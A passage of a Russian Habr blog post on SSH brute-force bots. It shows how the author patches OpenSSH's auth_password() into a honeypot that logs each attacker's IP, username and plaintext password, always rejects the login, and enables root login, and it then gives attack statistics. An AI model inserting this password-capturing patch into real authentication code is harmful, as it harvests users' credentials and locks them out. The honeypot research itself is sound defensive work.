{"id":326531,"date":"2021-07-16T09:00:17","date_gmt":"2021-07-16T09:00:17","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=326531"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=326531","title":{"rendered":"Et tu, Brute? \u0427\u0442\u043e \u0445\u043e\u0442\u044f\u0442 \u043e\u0442 \u043d\u0430\u0441 \u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441\u0435\u0440\u044b?"},"content":{"rendered":"\n<div class=\"post__text post__text-html post__text_v1\" id=\"post-content-body\">\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/lx\/42\/vz\/lx42vziihu1dsu1o5nqokbmmxgq.jpeg\"><\/div>\n<p>  \u041a\u0430\u0436\u0434\u044b\u0439 \u0432\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0441 \u00ab\u0431\u0435\u043b\u044b\u043c\u00bb IP-\u0430\u0434\u0440\u0435\u0441\u043e\u043c \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u043b \u0432 \u043b\u043e\u0433\u0430\u0445 \u0431\u0435\u0441\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u043f\u043e SSH \u0441 \u0440\u0430\u0437\u043d\u044b\u0445 \u0442\u043e\u0447\u0435\u043a \u043c\u0438\u0440\u0430. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b \u0441\u0442\u0430\u0432\u044f\u0442 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a fail2ban, \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u044f\u0442 SSH \u043d\u0430 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u0440\u0442\u044b \u0438 \u0432\u0441\u044f\u0447\u0435\u0441\u043a\u0438 \u043f\u044b\u0442\u0430\u044e\u0442\u0441\u044f \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f \u043e\u0442 \u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441\u0435\u0440\u043e\u0432. \u041d\u043e \u0447\u0435\u0433\u043e \u0436\u0435 \u0445\u043e\u0442\u044f\u0442 \u044d\u0442\u0438 \u0437\u0430\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043b\u044e\u0434\u0438 \u043e\u0442 \u043d\u0430\u0448\u0438\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432?<\/p>\n<p>  \u041f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u043d\u044b\u0439 \u043e\u0442\u0432\u0435\u0442, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u043f\u0440\u043e\u0441\u0442: \u043d\u0430\u0436\u0438\u0432\u044b \u043d\u0430 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u044b\u0445 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u0445 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445. \u041d\u043e \u044d\u0442\u043e\u0442 \u043e\u0442\u0432\u0435\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0440\u0430\u0437\u043b\u043e\u0436\u0438\u043c \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u00ab\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438\u00bb \u0438 \u043f\u0440\u043e\u0441\u043b\u0435\u0434\u0438\u043c, \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442, \u043a\u043e\u0433\u0434\u0430 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441 \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u043c.<br \/>  <a name=\"habracut\"><\/a><br \/>  \u0412 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043c\u044b \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u043c \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u043b\u0443\u0447\u0430\u0438 \u043f\u043e\u043f\u0430\u0434\u0430\u043d\u0438\u044f \u043f\u043e\u0434 \u00ab\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439\u00bb \u043f\u0435\u0440\u0435\u0431\u043e\u0440 \u0438 \u0438\u0441\u043a\u043b\u044e\u0447\u0430\u0435\u043c \u0446\u0435\u043b\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u043d\u0430\u0448 \u0441\u0435\u0440\u0432\u0435\u0440.  <\/p>\n<blockquote><p><b>\u041d\u0435 \u043f\u044b\u0442\u0430\u0439\u0442\u0435\u0441\u044c \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u0442\u044c \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0435 \u0432 \u0441\u0442\u0430\u0442\u044c\u0435, \u0435\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u043d\u0435\u0442 \u0434\u043e\u043b\u0436\u043d\u043e\u0439 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0438. \u041d\u0438 \u0432 \u043a\u043e\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0439\u0442\u0435 \u043d\u0430 \u043f\u0440\u043e\u0434\u0430\u043a\u0448\u043d-\u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445!<\/b><\/p><\/blockquote>\n<p>\u0421\u043f\u0435\u0440\u0432\u0430 \u0443\u0437\u043d\u0430\u0435\u043c \u00ab\u0432\u0440\u0430\u0433\u0430\u00bb \u0432 \u043b\u0438\u0446\u043e.<\/p>\n<p>  <font color=\"#EB4247\"><\/p>\n<h2>\u041f\u0430\u0441\u0441\u0438\u0432\u043d\u043e-\u0430\u0433\u0440\u0435\u0441\u0441\u0438\u0432\u043d\u043e\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435<\/h2>\n<p><\/font><br \/>  \u0423 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0436\u0435 \u043f\u0430\u0440\u0443 \u043d\u0435\u0434\u0435\u043b\u044c \u0441\u0442\u043e\u0438\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c 22 \u043f\u043e\u0440\u0442\u043e\u043c. \u042d\u0442\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0435\u0433\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438 \u0438 \u043d\u0430\u0447\u0430\u043b\u0438 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c.<\/p>\n<p>  \u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0443\u0437\u043d\u0430\u0435\u043c, \u043e\u0442\u043a\u0443\u0434\u0430 \u043a \u043d\u0430\u043c \u043f\u0440\u0438\u0445\u043e\u0434\u044f\u0442, \u043a\u0430\u043a \u0447\u0430\u0441\u0442\u043e \u0438 \u0441 \u043a\u0430\u043a\u0438\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438. \u041d\u0435 \u0431\u0443\u0434\u0435\u043c \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0430\u0442\u044c \u0432\u0435\u043b\u043e\u0441\u0438\u043f\u0435\u0434 \u0438 \u043f\u0440\u043e\u0441\u0442\u043e (\u044d\u0442\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e!) \u043c\u043e\u0434\u0435\u0440\u043d\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 OpenSSH. \u0421\u0442\u0430\u0432\u0438\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438.<\/p>\n<p>  \u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u0434\u043b\u044f Ubuntu:<\/p>\n<pre><code class=\"plaintext\">apt update<\/code><\/pre>\n<p>  <\/p>\n<pre><code class=\"plaintext\">apt install gcc g++ make autoconf libssl-dev libz-dev<\/code><\/pre>\n<p>  \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u0430\u043c\u0443\u044e \u0441\u0432\u0435\u0436\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u0441 GitHub:<\/p>\n<pre><code class=\"plaintext\">git clone https:\/\/github.com\/openssh\/openssh-portable<\/code><\/pre>\n<p>  <\/p>\n<pre><code class=\"plaintext\">cd openssh-portable<\/code><\/pre>\n<p>  \u041f\u0440\u043e\u0432\u043e\u0434\u0438\u043c \u044d\u0442\u0430\u043f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043f\u0435\u0440\u0435\u0434 \u0441\u0431\u043e\u0440\u043a\u043e\u0439. \u0417\u0434\u0435\u0441\u044c \u0438 \u0434\u0430\u043b\u0435\u0435 \u043c\u044b \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043c \u0432\u0441\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0441\u0443\u043f\u0435\u0440\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0427\u0442\u043e\u0431\u044b \u043d\u0435 \u0441\u043b\u043e\u043c\u0430\u0442\u044c \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 SSH-\u0441\u0435\u0440\u0432\u0435\u0440, \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u043c \u043f\u0440\u0435\u0444\u0438\u043a\u0441 \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0430\u0442\u0447\u0435\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438.<\/p>\n<pre><code class=\"plaintext\">autoreconf<\/code><\/pre>\n<p>  <\/p>\n<pre><code class=\"plaintext\">.\/configure --prefix=\/root\/ssh<\/code><\/pre>\n<p>  \u0415\u0441\u043b\u0438 \u0432\u0441\u0435 \u043f\u0440\u043e\u0448\u043b\u043e \u0431\u0435\u0437 \u043e\u0448\u0438\u0431\u043e\u043a, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0430\u0442\u044c \u043a \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 OpenSSH. \u0411\u0440\u0443\u0442\u0444\u043e\u0440\u0441 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0443\u0435\u0442\u0441\u044f \u043f\u043e \u043c\u0435\u0442\u043e\u0434\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 password. \u0417\u0430\u0433\u043b\u044f\u0434\u044b\u0432\u0430\u0435\u043c \u0432 \u0444\u0430\u0439\u043b <i>auth-passwd.c<\/i>. \u0412 \u044d\u0442\u043e\u043c \u0444\u0430\u0439\u043b\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f <i>auth_password()<\/i>, \u0432\u0435\u0440\u043d\u0435\u0435 \u0435\u0435 \u043d\u0430\u0447\u0430\u043b\u043e.<\/p>\n<pre><code class=\"cs\">\/*  * Tries to authenticate the user using password.  Returns true if  * authentication succeeds.  *\/ int auth_password(struct ssh *ssh, const char *password) {     Authctxt *authctxt = ssh-&gt;authctxt;     struct passwd *pw = authctxt-&gt;pw;     int result, ok = authctxt-&gt;valid; #if defined(USE_SHADOW) &amp;&amp; defined(HAS_SHADOW_EXPIRE)     static int expire_checked = 0; #endif      if (strlen(password) &gt; MAX_PASSWORD_LEN)         return 0;      \/* \u0427\u0430\u0441\u0442\u044c \u043a\u043e\u0434\u0430 \u043e\u043f\u0443\u0449\u0435\u043d\u0430 \u0437\u0430 \u043d\u0435\u043d\u0430\u0434\u043e\u0431\u043d\u043e\u0441\u0442\u044c\u044e *\/  }<\/code><\/pre>\n<p>  \u042d\u0442\u043e\u0442 \u043c\u0435\u0442\u043e\u0434 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u0441\u044f\u043a\u0438\u0439 \u0440\u0430\u0437, \u043a\u043e\u0433\u0434\u0430 \u043a\u0442\u043e-\u043d\u0438\u0431\u0443\u0434\u044c \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u043f\u043e \u043f\u0430\u0440\u043e\u043b\u044e. \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 (Authctxt) \u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 ssh \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0432\u0441\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u043d\u0430\u043c \u043f\u043e\u043b\u044f:<\/p>\n<ol>\n<li>IP-\u0430\u0434\u0440\u0435\u0441 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e;<\/li>\n<li>\u043b\u043e\u0433\u0438\u043d;<\/li>\n<li>\u043f\u0430\u0440\u043e\u043b\u044c.<\/li>\n<\/ol>\n<p>  \u041a \u044d\u0442\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043c\u043e\u0436\u043d\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0443\u044e \u043c\u0435\u0442\u043a\u0443 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u2014 \u0434\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0445\u0432\u0430\u0442\u0438\u0442. \u041c\u043e\u0434\u0435\u0440\u043d\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u0435\u0442\u043e\u0434:<\/p>\n<pre><code class=\"cs\">#include &lt;sys\/types.h&gt; #include &lt;sys\/stat.h&gt; #include &lt;fcntl.h&gt; #include &lt;unistd.h&gt; #include &lt;errno.h&gt;  #define MAX_BUF_SIZE 2*MAX_PASSWORD_LEN  \/*  * Tries to authenticate the user using password.  Returns true if  * authentication succeeds.  *\/ int auth_password(struct ssh *ssh, const char *password) {     Authctxt *authctxt = ssh-&gt;authctxt;     struct passwd *pw = authctxt-&gt;pw;     int result, ok = authctxt-&gt;valid; #if defined(USE_SHADOW) &amp;&amp; defined(HAS_SHADOW_EXPIRE)     static int expire_checked = 0; #endif      if (strlen(password) &gt; MAX_PASSWORD_LEN)         return 0;      \/* \u041e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c \u0444\u0430\u0439\u043b \u043b\u043e\u0433\u043e\u0432 \u043d\u0430 \u0434\u043e\u0437\u0430\u043f\u0438\u0441\u044c *\/     int fd = open(&quot;\/root\/ssh.log&quot;, O_CREAT | O_APPEND | O_WRONLY, 0644);     \/* \u0424\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u043c \u0441\u0442\u0440\u043e\u0447\u043a\u0443 \u043b\u043e\u0433\u0430 *\/     char entry[MAX_BUF_SIZE];     int len = snprintf(entry, MAX_BUF_SIZE, &quot;%li,%s,%s,%s\\n&quot;,          time(NULL), ssh-&gt;remote_ipaddr, authctxt-&gt;user, password);     \/* \u0417\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c \u0432 \u0444\u0430\u0439\u043b, \u043e\u0448\u0438\u0431\u043a\u0443 \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u0435\u043c, \u0435\u0441\u043b\u0438 \u0442\u0430\u043a\u0430\u044f \u0435\u0441\u0442\u044c *\/     write(fd, entry, len);     \/* \u041f\u0440\u0438\u0431\u0438\u0440\u0430\u0435\u043c\u0441\u044f \u0437\u0430 \u0441\u043e\u0431\u043e\u0439*\/     close(fd);     \/* \u041f\u043e \u043f\u0430\u0440\u043e\u043b\u044e \u043d\u0438\u043a\u043e\u0433\u043e \u043d\u0435 \u043f\u0443\u0441\u043a\u0430\u0435\u043c \u043d\u0438 \u043f\u043e\u0434 \u043a\u0430\u043a\u0438\u043c \u043f\u0440\u0435\u0434\u043b\u043e\u0433\u043e\u043c *\/     return 0;      \/* \u0417\u0434\u0435\u0441\u044c \u043e\u0441\u0442\u0430\u0432\u0448\u0438\u0439\u0441\u044f \u043a\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u043d\u043e \u043e\u043d \u0442\u0435\u043f\u0435\u0440\u044c \u043d\u0435\u0434\u043e\u0441\u0442\u0438\u0436\u0438\u043c *\/ }<\/code><\/pre>\n<p>  \u041a\u043e\u043d\u0435\u0447\u043d\u043e, \u044d\u0442\u043e \u043d\u0435 \u0441\u0430\u043c\u044b\u0439 \u043f\u043e\u0442\u043e\u043a\u043e\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \u041d\u043e \u0442\u0430\u043a \u043a\u0430\u043a \u043c\u044b \u043f\u0438\u0448\u0435\u043c \u0432\u0441\u0435\u0433\u043e \u043e\u0434\u043d\u0443 \u0441\u0442\u0440\u043e\u043a\u0443 \u0438 \u043d\u0430\u043c \u043d\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u043d \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0437\u0430\u043f\u0438\u0441\u0435\u0439, \u0442\u043e \u0431\u0443\u0444\u0435\u0440\u044b \u041e\u0421 \u0441\u0430\u043c\u0438 \u0440\u0430\u0437\u0431\u0435\u0440\u0443\u0442\u0441\u044f. \u0421\u043e\u0431\u0438\u0440\u0430\u0435\u043c \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c. \u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u0430 \u0434\u043b\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u043a\u043b\u044e\u0447\u0435\u0439 \u0445\u043e\u0441\u0442\u0430.<\/p>\n<pre><code class=\"plaintext\">make -j8<\/code><\/pre>\n<p>  <\/p>\n<pre><code class=\"plaintext\">make install<\/code><\/pre>\n<p>  \u041f\u0440\u0430\u0432\u0438\u043c \u043a\u043e\u043d\u0444\u0438\u0433 <i>\/root\/ssh\/etc\/sshd_config<\/i>, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e \u0441\u0442\u0440\u043e\u0447\u043a\u0443. <\/p>\n<pre><code class=\"plaintext\">PermitRootLogin yes<\/code><\/pre>\n<p>  \u0415\u0441\u043b\u0438 \u043d\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u0442\u044c \u0432\u0445\u043e\u0434 \u0434\u043b\u044f \u0441\u0443\u043f\u0435\u0440\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0442\u043e \u043c\u0435\u0442\u043e\u0434 <i>auth_password<\/i> \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c\u0441\u044f. \u0423\u043d\u043e\u0441\u0438\u043c \u0441\u0432\u043e\u0439 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 SSH \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u0439 \u043f\u043e\u0440\u0442 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u043d\u0430\u0448\u0443 \u043b\u043e\u0432\u0443\u0448\u043a\u0443.<\/p>\n<pre><code class=\"plaintext\">\/root\/ssh\/sbin\/sshd -f \/root\/ssh\/etc\/sshd_config<\/code><\/pre>\n<p>  \u0417\u0430 10 \u0434\u043d\u0435\u0439 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0439 \u0431\u044b\u043b\u043e \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u043d\u044f\u0442\u043e 74 865 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0437\u0430\u0439\u0442\u0438 c 1 131 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432. \u0412 \u0441\u0440\u0435\u0434\u043d\u0435\u043c \u0432 \u0441\u0435\u043a\u0443\u043d\u0434\u0443 \u0431\u044b\u043b\u043e \u043e\u0442 \u043e\u0434\u043d\u043e\u0439 \u0434\u043e \u0434\u0432\u0443\u0445 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u041c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u2014 10 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u0437\u0430 \u0441\u0435\u043a\u0443\u043d\u0434\u0443. \u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u0432\u0441\u0435 \u043e\u043d\u0438 \u0431\u044b\u043b\u0438 \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u044b \u0441 \u043e\u0434\u043d\u043e\u0433\u043e IP-\u0430\u0434\u0440\u0435\u0441\u0430.<\/p>\n<p>  \u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u044f \u0442\u043e\u0447\u043d\u044b\u0445 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432, \u0442\u0430\u043a \u043a\u0430\u043a \u044d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u043d\u0435\u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f. \u0410 \u0432\u043e\u0442 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u043f\u043e \u0441\u0442\u0440\u0430\u043d\u0430\u043c \u0438 \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c (AS) \u0431\u0443\u0434\u0435\u0442 \u0432\u0435\u0441\u044c\u043c\u0430 \u043f\u043e\u043b\u0435\u0437\u043d\u0430.<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/3r\/tw\/8y\/3rtw8yyv7b5sxdrloqu6ebnlylg.png\"><\/div>\n<p>  <\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/kw\/uu\/q_\/kwuuq_if-3sodycpyezic_utx8i.png\"><\/div>\n<p>  \u041b\u0435\u0433\u043a\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u041a\u0438\u0442\u0430\u0439 \u043f\u0440\u0435\u043e\u0431\u043b\u0430\u0434\u0430\u0435\u0442 \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441\u0430.<\/p>\n<p>  \u0412\u043e\u0442 \u0442\u0430\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u043e\u043f \u0441\u0430\u043c\u044b\u0445 \u043d\u0430\u0441\u0442\u044b\u0440\u043d\u044b\u0445 \u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0438\u0437 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 AS:<\/p>\n<ol>\n<li>AS4808 China Unicom Beijing Province Network \u2014 15 827 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438;<\/li>\n<li>AS4766 Korea Telecom \u2014 3 962 \u043f\u043e\u043f\u044b\u0442\u043a\u0438;<\/li>\n<li>AS8075 Microsoft Corporation \u2014 420 \u043f\u043e\u043f\u044b\u0442\u043e\u043a.<\/li>\n<\/ol>\n<p>  \u041c\u044b \u043f\u0440\u043e\u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043f\u043e\u0440\u0442\u044b \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 \u043d\u0430\u0433\u043b\u043e\u0433\u043e \u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441\u0430 \u0438 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u0432\u0441\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 \u0438\u043c\u0435\u044e\u0442 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 SSH-, HTTP- \u0438 HTTPS-\u043f\u043e\u0440\u0442\u044b. \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u0447\u0442\u043e \u0432\u0442\u043e\u0440\u043e\u0435 \u043c\u0435\u0441\u0442\u043e \u043f\u043e \u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441\u0443 \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442 VPN-\u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0430 OpenWRT, \u0430 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u043d\u0435 \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0442 \u043d\u0430 HTTP- \u0438 HTTPS-\u0437\u0430\u043f\u0440\u043e\u0441\u044b.<\/p>\n<p>  \u0412 \u044d\u0442\u043e\u043c \u0442\u043e\u043f\u0435 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u044e\u0442\u0441\u044f \u0441\u0430\u043c\u044b\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0435 \u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441\u0435\u0440\u044b, \u043d\u043e \u0435\u0441\u043b\u0438 \u0432\u0437\u0433\u043b\u044f\u043d\u0443\u0442\u044c \u043d\u0430 \u0432\u0435\u0441\u044c \u0441\u043f\u0438\u0441\u043e\u043a \u0430\u0434\u0440\u0435\u0441\u043e\u0432, \u0442\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u0441\u044f \u0435\u0449\u0435 \u043e\u0434\u043d\u0430 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430\u044f \u0437\u0430\u043a\u043e\u043d\u043e\u043c\u0435\u0440\u043d\u043e\u0441\u0442\u044c: \u043f\u043e\u0447\u0442\u0438 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0430 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 50 \u0438\u043b\u0438 70 